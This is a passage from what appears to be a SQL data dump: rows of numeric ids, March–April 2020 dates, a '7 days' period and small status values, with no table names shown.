days',0),(17079,9010,3192,4182,161,73,'2020-03-05','7 days',0),(17080,8785,3192,4182,161,73,'2020-03-05','7 days',0),(17081,8782,3192,4182,161,73,'2020-03-05','7 days',1),(17082,652,3192,4182,161,73,'2020-03-05','7 days',0),(17083,651,3192,4182,161,73,'2020-03-05','7 days',0),(17084,644,3192,4182,161,73,'2020-03-05','7 days',0),(17085,651,3209,4206,162,73,'2020-03-05','7 days',0),(17086,644,3209,4206,162,73,'2020-03-05','7 days',0),(17087,643,3209,4206,162,73,'2020-03-05','7 days',0),(17088,641,3209,4206,162,73,'2020-03-05','7 days',0),(17089,638,3209,4206,162,73,'2020-03-05','7 days',1),(17090,635,3209,4206,162,73,'2020-03-05','7 days',0),(17091,630,3209,4206,162,73,'2020-03-05','7 days',0),(17092,650,3266,4292,161,73,'2020-03-05','7 days',0),(17093,649,3266,4292,161,73,'2020-03-05','7 days',0),(17094,646,3266,4292,161,73,'2020-03-05','7 days',0),(17095,645,3266,4292,161,73,'2020-03-05','7 days',1),(17096,9014,3266,4292,161,73,'2020-03-05','7 days',1),(17097,9013,3266,4292,161,73,'2020-03-05','7 days',0),(17098,8786,3266,4292,161,73,'2020-03-05','7 days',0),(17099,668,3266,4292,161,73,'2020-03-05','7 days',0),(17100,655,3266,4292,161,73,'2020-03-05','7 days',0),(17101,632,3266,4292,161,73,'2020-03-05','7 days',0),(17225,11589,3154,4125,160,73,'2020-03-06','7 days',1),(17238,9932,3456,4523,357,251,'2020-03-06','7 days',1),(17239,9030,3456,4523,357,251,'2020-03-06','7 days',0),(17240,6891,3456,4523,357,251,'2020-03-06','7 days',0),(17241,6887,3456,4523,357,251,'2020-03-06','7 days',2),(17283,11520,3522,4604,194,45,'2020-03-06','7 days',1),(17284,11519,3522,4604,194,45,'2020-03-06','7 days',1),(17285,11518,3522,4604,194,45,'2020-03-06','7 days',1),(17421,11450,3532,4616,1235,277,'2020-03-10','7 days',1),(17422,11449,3532,4616,1235,277,'2020-03-10','7 days',1),(17423,9909,3532,4616,1235,277,'2020-03-10','7 days',1),(17424,9897,3532,4616,1235,277,'2020-03-10','7 days',1),(17425,9902,3546,4635,1235,277,'2020-03-10','7 days',1),(17426,9901,3546,4635,1235,277,'2020-03-10','7 days',0),(17427,9900,3546,4635,1235,277,'2020-03-10','7 days',1),(17428,9899,3546,4635,1235,277,'2020-03-10','7 days',0),(17429,9898,3546,4635,1235,277,'2020-03-10','7 days',0),(17430,9897,3546,4635,1235,277,'2020-03-10','7 days',1),(17455,11578,3539,4625,194,45,'2020-03-10','7 days',1),(17456,11577,3539,4625,194,45,'2020-03-10','7 days',1),(17457,11520,3539,4625,194,45,'2020-03-10','7 days',1),(17458,11519,3539,4625,194,45,'2020-03-10','7 days',1),(17459,11518,3539,4625,194,45,'2020-03-10','7 days',1),(17460,11300,3539,4625,194,45,'2020-03-10','7 days',2),(17461,11299,3539,4625,194,45,'2020-03-10','7 days',2),(17492,9011,3192,4182,161,73,'2020-03-10','7 days',2),(17493,648,3192,4182,161,73,'2020-03-10','7 days',1),(17494,634,3192,4182,161,73,'2020-03-10','7 days',0),(17495,664,3192,4182,161,73,'2020-03-10','7 days',0),(17496,663,3192,4182,161,73,'2020-03-10','7 days',1),(17497,658,3192,4182,161,73,'2020-03-10','7 days',0),(17498,10287,3192,4182,161,73,'2020-03-10','7 days',1),(17499,11659,3301,4339,1235,277,'2020-03-10','7 days',1),(17500,669,3209,4206,162,73,'2020-03-10','7 days',0),(17501,9012,3209,4206,162,73,'2020-03-10','7 days',0),(17502,9010,3209,4206,162,73,'2020-03-10','7 days',0),(17503,8785,3209,4206,162,73,'2020-03-10','7 days',0),(17504,8782,3209,4206,162,73,'2020-03-10','7 days',1),(17505,652,3209,4206,162,73,'2020-03-10','7 days',0),(17506,9009,3266,4292,161,73,'2020-03-10','7 days',0),(17507,9008,3266,4292,161,73,'2020-03-10','7 days',0),(17508,665,3266,4292,161,73,'2020-03-10','7 days',0),(17509,662,3266,4292,161,73,'2020-03-10','7 days',0),(17510,633,3266,4292,161,73,'2020-03-10','7 days',2),(17511,669,3266,4292,161,73,'2020-03-10','7 days',0),(17512,11589,3447,4509,161,73,'2020-03-10','7 days',1),(17513,8781,3447,4509,161,73,'2020-03-10','7 days',0),(17514,672,3447,4509,161,73,'2020-03-10','7 days',0),(17515,661,3447,4509,161,73,'2020-03-10','7 days',2),(17516,659,3447,4509,161,73,'2020-03-10','7 days',1),(17517,647,3447,4509,161,73,'2020-03-10','7 days',0),(17518,642,3447,4509,161,73,'2020-03-10','7 days',0),(17519,640,3447,4509,161,73,'2020-03-10','7 days',0),(17520,639,3447,4509,161,73,'2020-03-10','7 days',0),(17521,637,3447,4509,161,73,'2020-03-10','7 days',0),(17522,636,3447,4509,161,73,'2020-03-10','7 days',0),(17523,629,3447,4509,161,73,'2020-03-10','7 days',1),(17524,654,3467,4540,160,73,'2020-03-10','7 days',0),(17525,9014,3467,4540,160,73,'2020-03-10','7 days',1),(17526,9013,3467,4540,160,73,'2020-03-10','7 days',0),(17527,8786,3467,4540,160,73,'2020-03-10','7 days',0),(17528,668,3467,4540,160,73,'2020-03-10','7 days',2),(17529,655,3467,4540,160,73,'2020-03-10','7 days',0),(17530,632,3467,4540,160,73,'2020-03-10','7 days',0),(17550,11578,3562,4659,194,45,'2020-03-11','7 days',1),(17551,11577,3562,4659,194,45,'2020-03-11','7 days',1),(17552,11520,3562,4659,194,45,'2020-03-11','7 days',1),(17553,11519,3562,4659,194,45,'2020-03-11','7 days',1),(17554,11518,3562,4659,194,45,'2020-03-11','7 days',1),(17555,11350,3562,4659,194,45,'2020-03-11','7 days',0),(17556,11300,3562,4659,194,45,'2020-03-11','7 days',2),(17557,11299,3562,4659,194,45,'2020-03-11','7 days',2),(17558,9650,3568,3833,194,45,'2020-03-11','7 days',0),(17559,1408,3568,3833,194,45,'2020-03-11','7 days',0),(17560,1407,3568,3833,194,45,'2020-03-11','7 days',0),(17561,1406,3568,3833,194,45,'2020-03-11','7 days',0),(17562,1405,3568,3833,194,45,'2020-03-11','7 days',0),(17563,9650,3563,4660,194,45,'2020-03-11','7 days',0),(17580,11689,3568,3833,194,45,'2020-03-11','7 days',1),(17581,11688,3568,3833,194,45,'2020-03-11','7 days',1),(17582,11687,3568,3833,194,45,'2020-03-11','7 days',1),(17583,11686,3568,3833,194,45,'2020-03-11','7 days',1),(17601,11659,3531,4615,1235,277,'2020-03-11','7 days',1),(17602,11449,3531,4615,1235,277,'2020-03-11','7 days',1),(17603,11448,3531,4615,1235,277,'2020-03-11','7 days',0),(17604,11447,3531,4615,1235,277,'2020-03-11','7 days',0),(17605,9909,3531,4615,1235,277,'2020-03-11','7 days',1),(17611,11689,3563,4660,194,45,'2020-03-11','7 days',1),(17612,11688,3563,4660,194,45,'2020-03-11','7 days',1),(17613,11687,3563,4660,194,45,'2020-03-11','7 days',1),(17614,11686,3563,4660,194,45,'2020-03-11','7 days',2),(17615,11689,3562,4659,194,45,'2020-03-11','7 days',1),(17616,11688,3562,4659,194,45,'2020-03-11','7 days',1),(17617,11687,3562,4659,194,45,'2020-03-11','7 days',1),(17618,11686,3562,4659,194,45,'2020-03-11','7 days',2),(17619,11689,3539,4625,194,45,'2020-03-11','7 days',1),(17620,11688,3539,4625,194,45,'2020-03-11','7 days',1),(17621,11687,3539,4625,194,45,'2020-03-11','7 days',1),(17622,11686,3539,4625,194,45,'2020-03-11','7 days',2),(17623,11689,3522,4604,194,45,'2020-03-11','7 days',1),(17624,11578,3551,4584,194,45,'2020-03-11','7 days',1),(17625,11577,3551,4584,194,45,'2020-03-11','7 days',1),(17626,11520,3551,4584,194,45,'2020-03-11','7 days',1),(17627,11519,3551,4584,194,45,'2020-03-11','7 days',1),(17628,11518,3551,4584,194,45,'2020-03-11','7 days',1),(17629,11299,3551,4584,194,45,'2020-03-11','7 days',1),(17640,11689,3551,4584,194,45,'2020-03-11','7 days',1),(17713,11355,3519,4600,1370,667,'2020-03-12','7 days',1),(17714,11354,3519,4600,1370,667,'2020-03-12','7 days',1),(17715,11353,3519,4600,1370,667,'2020-03-12','7 days',1),(17716,11352,3519,4600,1370,667,'2020-03-12','7 days',1),(17717,11351,3519,4600,1370,667,'2020-03-12','7 days',1),(17735,10955,3577,4674,221,85,'2020-03-12','7 days',0),(17736,10926,3577,4674,221,85,'2020-03-12','7 days',1),(17737,10925,3577,4674,221,85,'2020-03-12','7 days',0),(17738,10924,3577,4674,221,85,'2020-03-12','7 days',0),(17739,10920,3577,4674,221,85,'2020-03-12','7 days',0),(17740,10919,3577,4674,221,85,'2020-03-12','7 days',0),(17761,11578,3563,4660,194,45,'2020-03-13','7 days',1),(17762,11577,3563,4660,194,45,'2020-03-13','7 days',1),(17763,11520,3563,4660,194,45,'2020-03-13','7 days',1),(17764,11519,3563,4660,194,45,'2020-03-13','7 days',1),(17765,11518,3563,4660,194,45,'2020-03-13','7 days',1),(17766,11299,3563,4660,194,45,'2020-03-13','7 days',1),(17805,11715,3593,4692,194,45,'2020-03-16','7 days',1),(17806,11714,3593,4692,194,45,'2020-03-16','7 days',1),(17807,5467,3593,4692,194,45,'2020-03-16','7 days',1),(17819,11724,3584,4681,203,86,'2020-03-16','7 days',2),(17820,11723,3584,4681,203,86,'2020-03-16','7 days',0),(17821,11722,3584,4681,203,86,'2020-03-16','7 days',0),(17822,11721,3584,4681,203,86,'2020-03-16','7 days',0),(17823,11720,3584,4681,203,86,'2020-03-16','7 days',1),(17824,11719,3584,4681,203,86,'2020-03-16','7 days',0),(17825,11718,3584,4681,203,86,'2020-03-16','7 days',1),(17826,11717,3584,4681,203,86,'2020-03-16','7 days',0),(17827,10916,3598,4284,1251,86,'2020-03-16','7 days',0),(17828,10915,3598,4284,1251,86,'2020-03-16','7 days',0),(17829,10914,3598,4284,1251,86,'2020-03-16','7 days',0),(17830,10913,3598,4284,1251,86,'2020-03-16','7 days',2),(17831,9091,3598,4284,1251,86,'2020-03-16','7 days',0),(17832,8996,3598,4284,1251,86,'2020-03-16','7 days',1),(17833,6243,3598,4284,1251,86,'2020-03-16','7 days',0),(17834,6241,3598,4284,1251,86,'2020-03-16','7 days',0),(17925,9797,3495,4574,1069,326,'2020-03-17','7 days',1),(17926,7418,3495,4574,1069,326,'2020-03-17','7 days',1),(17927,7415,3495,4574,1069,326,'2020-03-17','7 days',0),(17981,9900,3587,3672,1235,277,'2020-03-17','7 days',1),(17982,9899,3587,3672,1235,277,'2020-03-17','7 days',0),(17983,9898,3587,3672,1235,277,'2020-03-17','7 days',0),(18001,9535,3584,4681,203,86,'2020-03-17','7 days',0),(18002,9534,3584,4681,203,86,'2020-03-17','7 days',0),(18003,9533,3584,4681,203,86,'2020-03-17','7 days',0),(18004,9532,3584,4681,203,86,'2020-03-17','7 days',0),(18005,9531,3584,4681,203,86,'2020-03-17','7 days',0),(18011,11589,3566,4662,160,73,'2020-03-18','7 days',1),(18012,8781,3566,4662,160,73,'2020-03-18','7 days',0),(18013,672,3566,4662,160,73,'2020-03-18','7 days',0),(18014,661,3566,4662,160,73,'2020-03-18','7 days',1),(18015,659,3566,4662,160,73,'2020-03-18','7 days',1),(18016,11813,3577,4674,221,85,'2020-03-18','7 days',0),(18017,11812,3577,4674,221,85,'2020-03-18','7 days',0),(18018,10942,3577,4674,221,85,'2020-03-18','7 days',0),(18019,10941,3577,4674,221,85,'2020-03-18','7 days',0),(18020,10935,3577,4674,221,85,'2020-03-18','7 days',0),(18021,10931,3577,4674,221,85,'2020-03-18','7 days',0),(18022,10930,3577,4674,221,85,'2020-03-18','7 days',2),(18023,10929,3577,4674,221,85,'2020-03-18','7 days',0),(18024,10928,3577,4674,221,85,'2020-03-18','7 days',0),(18025,10927,3577,4674,221,85,'2020-03-18','7 days',0),(18029,11520,3612,496,193,45,'2020-03-18','7 days',1),(18030,11519,3612,496,193,45,'2020-03-18','7 days',1),(18036,11698,3581,4677,1342,971,'2020-03-18','7 days',1),(18037,11456,3581,4677,1342,971,'2020-03-18','7 days',1),(18038,11126,3581,4677,1342,971,'2020-03-18','7 days',1),(18039,10978,3581,4677,1342,971,'2020-03-18','7 days',1),(18040,10967,3581,4677,1342,971,'2020-03-18','7 days',1),(18041,10966,3581,4677,1342,971,'2020-03-18','7 days',1),(18042,10965,3581,4677,1342,971,'2020-03-18','7 days',0),(18043,10964,3581,4677,1342,971,'2020-03-18','7 days',0),(18044,10963,3581,4677,1342,971,'2020-03-18','7 days',0),(18062,10962,3513,4594,1343,86,'2020-03-18','7 days',1),(18063,10944,3598,4284,1251,86,'2020-03-18','7 days',0),(18064,6348,3598,4284,1251,86,'2020-03-18','7 days',0),(18065,5730,3598,4284,1251,86,'2020-03-18','7 days',0),(18066,1128,3598,4284,1251,86,'2020-03-18','7 days',1),(18067,10685,3584,4681,203,86,'2020-03-18','7 days',1),(18068,10684,3584,4681,203,86,'2020-03-18','7 days',1),(18069,9718,3584,4681,203,86,'2020-03-18','7 days',0),(18070,9612,3584,4681,203,86,'2020-03-18','7 days',0),(18071,9611,3584,4681,203,86,'2020-03-18','7 days',2),(18129,11844,3301,4339,1235,277,'2020-03-19','7 days',0),(18130,11299,3612,496,193,45,'2020-03-19','7 days',1),(18131,11298,3612,496,193,45,'2020-03-19','7 days',1),(18132,11845,3612,496,193,45,'2020-03-19','7 days',1),(18161,11848,3598,4284,1251,86,'2020-03-20','7 days',2),(18162,11847,3598,4284,1251,86,'2020-03-20','7 days',0),(18163,11846,3598,4284,1251,86,'2020-03-20','7 days',1),(18164,4516,3547,4638,634,639,'2020-03-20','7 days',1),(18165,4514,3547,4638,634,639,'2020-03-20','7 days',1),(18166,4499,3547,4638,634,639,'2020-03-20','7 days',0),(18167,4467,3547,4638,634,639,'2020-03-20','7 days',0),(18168,4460,3547,4638,634,639,'2020-03-20','7 days',2),(18169,4512,3433,4493,633,639,'2020-03-20','7 days',1),(18170,4494,3433,4493,633,639,'2020-03-20','7 days',1),(18171,4487,3433,4493,633,639,'2020-03-20','7 days',0),(18172,4483,3433,4493,633,639,'2020-03-20','7 days',0),(18173,4477,3433,4493,633,639,'2020-03-20','7 days',0),(18174,4473,3433,4493,633,639,'2020-03-20','7 days',1),(18175,8796,3400,4451,633,639,'2020-03-20','7 days',1),(18176,4502,3400,4451,633,639,'2020-03-20','7 days',2),(18177,4510,3400,4451,633,639,'2020-03-20','7 days',0),(18178,4506,3400,4451,633,639,'2020-03-20','7 days',0),(18179,4452,3400,4451,633,639,'2020-03-20','7 days',0),(18189,11520,3623,4730,193,45,'2020-03-20','7 days',1),(18190,11519,3623,4730,193,45,'2020-03-20','7 days',1),(18259,11845,3652,4772,194,45,'2020-03-29','7 days',1),(18260,11578,3652,4772,194,45,'2020-03-29','7 days',1),(18261,11520,3652,4772,194,45,'2020-03-29','7 days',1),(18262,11519,3652,4772,194,45,'2020-03-29','7 days',1),(18263,11518,3652,4772,194,45,'2020-03-29','7 days',1),(18264,11299,3652,4772,194,45,'2020-03-29','7 days',2),(18300,11520,3672,4802,194,45,'2020-03-30','7 days',1),(18301,11519,3672,4802,194,45,'2020-03-30','7 days',1),(18305,11845,3628,4737,194,45,'2020-03-30','7 days',1),(18306,11520,3628,4737,194,45,'2020-03-30','7 days',1),(18307,11519,3628,4737,194,45,'2020-03-30','7 days',1),(18308,11845,3626,4735,194,45,'2020-03-30','7 days',1),(18309,11577,3626,4735,194,45,'2020-03-30','7 days',1),(18310,11520,3626,4735,194,45,'2020-03-30','7 days',1),(18311,11519,3626,4735,194,45,'2020-03-30','7 days',1),(18348,11876,3566,4662,160,73,'2020-03-31','7 days',2),(18349,647,3566,4662,160,73,'2020-03-31','7 days',0),(18350,642,3566,4662,160,73,'2020-03-31','7 days',0),(18351,640,3566,4662,160,73,'2020-03-31','7 days',0),(18352,639,3566,4662,160,73,'2020-03-31','7 days',0),(18353,637,3566,4662,160,73,'2020-03-31','7 days',0),(18354,11876,3573,4669,162,73,'2020-03-31','7 days',2),(18355,11589,3573,4669,162,73,'2020-03-31','7 days',1),(18356,8781,3573,4669,162,73,'2020-03-31','7 days',0),(18357,672,3573,4669,162,73,'2020-03-31','7 days',0),(18358,661,3573,4669,162,73,'2020-03-31','7 days',0),(18359,659,3573,4669,162,73,'2020-03-31','7 days',1),(18360,647,3573,4669,162,73,'2020-03-31','7 days',0),(18361,642,3573,4669,162,73,'2020-03-31','7 days',0),(18362,640,3573,4669,162,73,'2020-03-31','7 days',0),(18363,639,3573,4669,162,73,'2020-03-31','7 days',0),(18364,637,3573,4669,162,73,'2020-03-31','7 days',0),(18365,636,3573,4669,162,73,'2020-03-31','7 days',0),(18366,629,3573,4669,162,73,'2020-03-31','7 days',1),(18367,671,3575,4672,161,73,'2020-03-31','7 days',0),(18368,8784,3575,4672,161,73,'2020-03-31','7 days',1),(18369,8783,3575,4672,161,73,'2020-03-31','7 days',0),(18370,656,3575,4672,161,73,'2020-03-31','7 days',2),(18371,653,3575,4672,161,73,'2020-03-31','7 days',0),(18397,11520,3687,4821,194,45,'2020-03-31','7 days',1),(18398,11519,3687,4821,194,45,'2020-03-31','7 days',1),(18399,11350,3687,4821,194,45,'2020-03-31','7 days',0),(18408,11876,3682,4815,160,73,'2020-04-01','7 days',2),(18409,11589,3682,4815,160,73,'2020-04-01','7 days',1),(18410,640,3682,4815,160,73,'2020-04-01','7 days',0),(18411,639,3682,4815,160,73,'2020-04-01','7 days',0),(18412,637,3682,4815,160,73,'2020-04-01','7 days',0),(18413,636,3682,4815,160,73,'2020-04-01','7 days',0),(18414,629,3682,4815,160,73,'2020-04-01','7 days',1),(18452,9014,3657,4778,161,73,'2020-04-02','7 days',1),(18453,9013,3657,4778,161,73,'2020-04-02','7 days',0),(18454,8786,3657,4778,161,73,'2020-04-02','7 days',0),(18455,668,3657,4778,161,73,'2020-04-02','7 days',0),(18456,655,3657,4778,161,73,'2020-04-02','7 days',0),(18457,632,3657,4778,161,73,'2020-04-02','7 days',0),(18464,9765,3635,4746,1291,86,'2020-04-02','7 days',0),(18465,9764,3635,4746,1291,86,'2020-04-02','7 days',0),(18466,9756,3635,4746,1291,86,'2020-04-02','7 days',0),(18467,9755,3635,4746,1291,86,'2020-04-02','7 days',0),(18468,9753,3635,4746,1291,86,'2020-04-02','7 days',0),(18469,9751,3635,4746,1291,86,'2020-04-02','7 days',0),(18470,10685,3635,4746,1291,86,'2020-04-02','7 days',1),(18482,10684,3635,4746,1291,86,'2020-04-02','7 days',1),(18483,10962,3635,4746,1291,86,'2020-04-02','7 days',1),(18484,10889,3577,4674,221,85,'2020-04-02','7 days',0),(18485,10887,3577,4674,221,85,'2020-04-02','7 days',2),(18486,10857,3577,4674,221,85,'2020-04-02','7 days',0),(18487,10285,3577,4674,221,85,'2020-04-02','7 days',0),(18488,9663,3577,4674,221,85,'2020-04-02','7 days',2),(18489,6238,3577,4674,221,85,'2020-04-02','7 days',2),(18490,5797,3577,4674,221,85,'2020-04-02','7 days',0),(18491,5795,3577,4674,221,85,'2020-04-02','7 days',1),(18492,10939,3577,4674,221,85,'2020-04-02','7 days',0),(18493,10938,3577,4674,221,85,'2020-04-02','7 days',0),(18494,10876,3577,4674,221,85,'2020-04-02','7 days',1),(18495,11264,3577,4674,221,85,'2020-04-02','7 days',0),(18496,11261,3577,4674,221,85,'2020-04-02','7 days',0),(18497,11260,3577,4674,221,85,'2020-04-02','7 days',2),(18560,11970,3701,4842,204,86,'2020-04-03','7 days',1),(18561,11969,3701,4842,204,86,'2020-04-03','7 days',2),(18562,11967,3701,4842,204,86,'2020-04-03','7 days',0),(18563,11965,3701,4842,204,86,'2020-04-03','7 days',0),(18564,11964,3701,4842,204,86,'2020-04-03','7 days',0),(18565,11962,3701,4842,204,86,'2020-04-03','7 days',0),(18566,11961,3701,4842,204,86,'2020-04-03','7 days',0),(18567,11959,3701,4842,204,86,'2020-04-03','7 days',0),(18568,11957,3701,4842,204,86,'2020-04-03','7 days',2),(18569,11954,3701,4842,204,86,'2020-04-03','7 days',1),(18570,11951,3701,4842,204,86,'2020-04-03','7 days',2),(18571,11949,3701,4842,204,86,'2020-04-03','7 days',0),(18598,11993,3577,4674,221,85,'2020-04-04','7 days',0),(18599,11992,3577,4674,221,85,'2020-04-04','7 days',0),(18600,11991,3577,4674,221,85,'2020-04-04','7 days',0),(18601,11990,3577,4674,221,85,'2020-04-04','7 days',0),(18602,11989,3577,4674,221,85,'2020-04-04','7 days',0),(18603,11988,3577,4674,221,85,'2020-04-04','7 days',0),(18604,11987,3577,4674,221,85,'2020-04-04','7 days',0),(18605,11986,3577,4674,221,85,'2020-04-04','7 days',0),(18606,11985,3577,4674,221,85,'2020-04-04','7 days',2),(18640,12021,3698,4837,1235,277,'2020-04-06','7 days',0),(18641,12020,3698,4837,1235,277,'2020-04-06','7 days',0),(18642,12019,3698,4837,1235,277,'2020-04-06','7 days',1),(18643,12018,3698,4837,1235,277,'2020-04-06','7 days',0),(18644,12017,3698,4837,1235,277,'2020-04-06','7 days',1),(18645,12022,3673,4805,1235,277,'2020-04-06','7 days',1),(18646,11659,3587,3672,1235,277,'2020-04-06','7 days',1),(18647,9910,3673,4805,1235,277,'2020-04-06','7 days',1),(18648,12023,3546,4635,1235,277,'2020-04-06','7 days',1),(18649,12024,3546,4635,1235,277,'2020-04-06','7 days',0),(18650,12025,3546,4635,1235,277,'2020-04-06','7 days',0),(18651,12026,3546,4635,1235,277,'2020-04-06','7 days',0),(18652,12027,3546,4635,1235,277,'2020-04-06','7 days',0),(18680,9805,3708,4854,1067,326,'2020-04-06','7 days',0),(18681,9803,3708,4854,1067,326,'2020-04-06','7 days',1),(18682,9802,3708,4854,1067,326,'2020-04-06','7 days',0),(18683,9801,3708,4854,1067,326,'2020-04-06','7 days',0),(18684,9800,3708,4854,1067,326,'2020-04-06','7 days',0),(18685,9798,3708,4854,1067,326,'2020-04-06','7 days',0),(18686,9797,3708,4854,1067,326,'2020-04-06','7 days',1),(18687,7418,3708,4854,1067,326,'2020-04-06','7 days',1),(18688,7415,3708,4854,1067,326,'2020-04-06','7 days',0),(18755,12097,3577,4674,221,85,'2020-04-07','7 days',0),(18756,12096,3577,4674,221,85,'2020-04-07','7 days',0),(18757,12095,3577,4674,221,85,'2020-04-07','7 days',0),(18758,12094,3577,4674,221,85,'2020-04-07','7 days',0),(18759,12093,3577,4674,221,85,'2020-04-07','7 days',0),(18760,12092,3577,4674,221,85,'2020-04-07','7 days',2),(18761,12091,3577,4674,221,85,'2020-04-07','7 days',2),(18762,12090,3577,4674,221,85,'2020-04-07','7 days',0),(18763,12089,3577,4674,221,85,'2020-04-07','7 days',0),(18764,12088,3577,4674,221,85,'2020-04-07','7 days',0),(18765,12087,3577,4674,221,85,'2020-04-07','7 days',0),(18766,12086,3577,4674,221,85,'2020-04-07','7 days',0),(18767,12085,3577,4674,221,85,'2020-04-07','7 days',0),(18768,12084,3577,4674,221,85,'2020-04-07','7 days',0),(18797,9797,3675,4808,1067,326,'2020-04-08','7 days',1),(18798,9796,3675,4808,1067,326,'2020-04-08','7 days',0),(18799,9795,3675,4808,1067,326,'2020-04-08','7 days',1),(18800,9720,3675,4808,1067,326,'2020-04-08','7 days',1),(18801,9719,3675,4808,1067,326,'2020-04-08','7 days',0),(18802,7421,3675,4808,1067,326,'2020-04-08','7 days',0),(18803,7420,3675,4808,1067,326,'2020-04-08','7 days',0),(18804,7419,3675,4808,1067,326,'2020-04-08','7 days',0),(18805,7418,3675,4808,1067,326,'2020-04-08','7 days',1),(18806,7417,3675,4808,1067,326,'2020-04-08','7 days',0),(18807,7416,3675,4808,1067,326,'2020-04-08','7 days',1),(18808,7415,3675,4808,1067,326,'2020-04-08','7 days',1),(18809,9797,3728,4891,1067,326,'2020-04-08','7 days',1),(18810,9796,3728,4891,1067,326,'2020-04-08','7 days',0),(18811,9719,3728,4891,1067,326,'2020-04-08','7 days',0),(18812,7419,3728,4891,1067,326,'2020-04-08','7 days',0),(18813,7418,3728,4891,1067,326,'2020-04-08','7 days',0),(18814,7415,3728,4891,1067,326,'2020-04-08','7 days',1),(18815,11848,3713,4868,203,86,'2020-04-08','7 days',2),(18816,11847,3713,4868,203,86,'2020-04-08','7 days',0),(18817,11846,3713,4868,203,86,'2020-04-08','7 days',2),(18818,11582,3713,4868,203,86,'2020-04-08','7 days',0),(18819,11581,3713,4868,203,86,'2020-04-08','7 days',0),(18820,11580,3713,4868,203,86,'2020-04-08','7 days',0),(18821,10962,3713,4868,203,86,'2020-04-08','7 days',1),(18822,10946,3713,4868,203,86,'2020-04-08','7 days',0),(18823,10945,3713,4868,203,86,'2020-04-08','7 days',2),(18824,10685,3713,4868,203,86,'2020-04-08','7 days',1),(18825,10684,3713,4868,203,86,'2020-04-08','7 days',1),(18826,9718,3713,4868,203,86,'2020-04-08','7 days',0),(18827,10807,3722,4881,1343,86,'2020-04-08','7 days',0),(18828,10806,3722,4881,1343,86,'2020-04-08','7 days',1),(18829,10805,3722,4881,1343,86,'2020-04-08','7 days',0),(18830,10804,3722,4881,1343,86,'2020-04-08','7 days',0),(18831,5755,3722,4881,1343,86,'2020-04-08','7 days',0),(18832,5751,3722,4881,1343,86,'2020-04-08','7 days',2),(18833,5747,3722,4881,1343,86,'2020-04-08','7 days',0),(18834,5743,3722,4881,1343,86,'2020-04-08','7 days',0),(18835,5741,3722,4881,1343,86,'2020-04-08','7 days',1),(18836,5739,3722,4881,1343,86,'2020-04-08','7 days',0),(18897,670,3682,4815,160,73,'2020-04-09','7 days',0),(18898,660,3682,4815,160,73,'2020-04-09','7 days',0),(18899,654,3657,4778,161,73,'2020-04-09','7 days',0),(18900,650,3657,4778,161,73,'2020-04-09','7 days',2),(18901,649,3657,4778,161,73,'2020-04-09','7 days',0),(18902,646,3657,4778,161,73,'2020-04-09','7 days',0),(18903,645,3657,4778,161,73,'2020-04-09','7 days',1),(18904,9012,3575,4672,161,73,'2020-04-09','7 days',0),(18905,9010,3575,4672,161,73,'2020-04-09','7 days',0),(18906,8785,3575,4672,161,73,'2020-04-09','7 days',0),(18907,8782,3575,4672,161,73,'2020-04-09','7 days',1),(18908,652,3575,4672,161,73,'2020-04-09','7 days',0),(18909,651,3575,4672,161,73,'2020-04-09','7 days',0),(18910,650,3573,4669,162,73,'2020-04-09','7 days',2),(18911,649,3573,4669,162,73,'2020-04-09','7 days',0),(18912,646,3573,4669,162,73,'2020-04-09','7 days',0),(18913,645,3573,4669,162,73,'2020-04-09','7 days',1),(18914,669,3573,4669,162,73,'2020-04-09','7 days',0),(18915,634,3566,4662,160,73,'2020-04-09','7 days',0),(18916,9011,3566,4662,160,73,'2020-04-09','7 days',0),(18917,648,3566,4662,160,73,'2020-04-09','7 days',1),(18918,11876,3447,4509,161,73,'2020-04-09','7 days',2),(18919,8784,3447,4509,161,73,'2020-04-09','7 days',1),(18920,8783,3447,4509,161,73,'2020-04-09','7 days',1),(18921,656,3447,4509,161,73,'2020-04-09','7 days',0),(18922,653,3447,4509,161,73,'2020-04-09','7 days',0),(18923,11876,3266,4292,161,73,'2020-04-09','7 days',0),(18924,11589,3266,4292,161,73,'2020-04-09','7 days',1),(18925,8781,3266,4292,161,73,'2020-04-09','7 days',0),(18926,672,3266,4292,161,73,'2020-04-09','7 days',0),(18927,661,3266,4292,161,73,'2020-04-09','7 days',0),(18961,12153,3577,4674,221,85,'2020-04-10','7 days',0),(18962,12152,3577,4674,221,85,'2020-04-10','7 days',0),(18963,12151,3577,4674,221,85,'2020-04-10','7 days',0),(18964,12150,3577,4674,221,85,'2020-04-10','7 days',0),(18965,12149,3577,4674,221,85,'2020-04-10','7 days',0),(18966,12148,3577,4674,221,85,'2020-04-10','7 days',0),(18967,12147,3577,4674,221,85,'2020-04-10','7 days',2),(18968,12146,3577,4674,221,85,'2020-04-10','7 days',0),(18969,12145,3577,4674,221,85,'2020-04-10','7 days',0),(18970,12144,3577,4674,221,85,'2020-04-10','7 days',0),(18971,12143,3577,4674,221,85,'2020-04-10','7 days',0),(18972,12142,3577,4674,221,85,'2020-04-10','7 days',0),(18973,12141,3577,4674,221,85,'2020-04-10','7 days',0),(18974,12140,3577,4674,221,85,'2020-04-10','7 days',0),(18975,12139,3577,4674,221,85,'2020-04-10','7 days',0),(18976,12138,3577,4674,221,85,'2020-04-10','7 days',0),(18977,12137,3577,4674,221,85,'2020-04-10','7 days',0),(18978,12172,3753,4929,222,85,'2020-04-10','7 days',0),(18979,12171,3753,4929,222,85,'2020-04-10','7 days',0),(18980,12170,3753,4929,222,85,'2020-04-10','7 days',0),(18981,12169,3753,4929,222,85,'2020-04-10','7 days',0),(18982,12168,3753,4929,222,85,'2020-04-10','7 days',0),(18983,12167,3753,4929,222,85,'2020-04-10','7 days',0),(18984,12166,3753,4929,222,85,'2020-04-10','7 days',2),(18985,12165,3753,4929,222,85,'2020-04-10','7 days',0),(18986,12164,3753,4929,222,85,'2020-04-10','7 days',0),(18987,12163,3753,4929,222,85,'2020-04-10','7 days',0),(18988,12162,3753,4929,222,85,'2020-04-10','7 days',0),(18989,12161,3753,4929,222,85,'2020-04-10','7 days',0),(18990,12160,3753,4929,222,85,'2020-04-10','7 days',0),(18991,12159,3753,4929,222,85,'2020-04-10','7 days',0),(18992,12158,3753,4929,222,85,'2020-04-10','7 days',2),(18993,12157,3753,4929,222,85,'2020-04-10','7 days',0),(18994,12156,3753,4929,222,85,'2020-04-10','7 days',0),(18995,12155,3753,4929,222,85,'2020-04-10','7 days',0),(18996,12154,3753,4929,222,85,'2020-04-10','7 days',0),(18997,12153,3755,4931,221,85,'2020-04-10','7 days',0),(18998,12152,3755,4931,221,85,'2020-04-10','7 days',0),(18999,12151,3755,4931,221,85,'2020-04-10','7 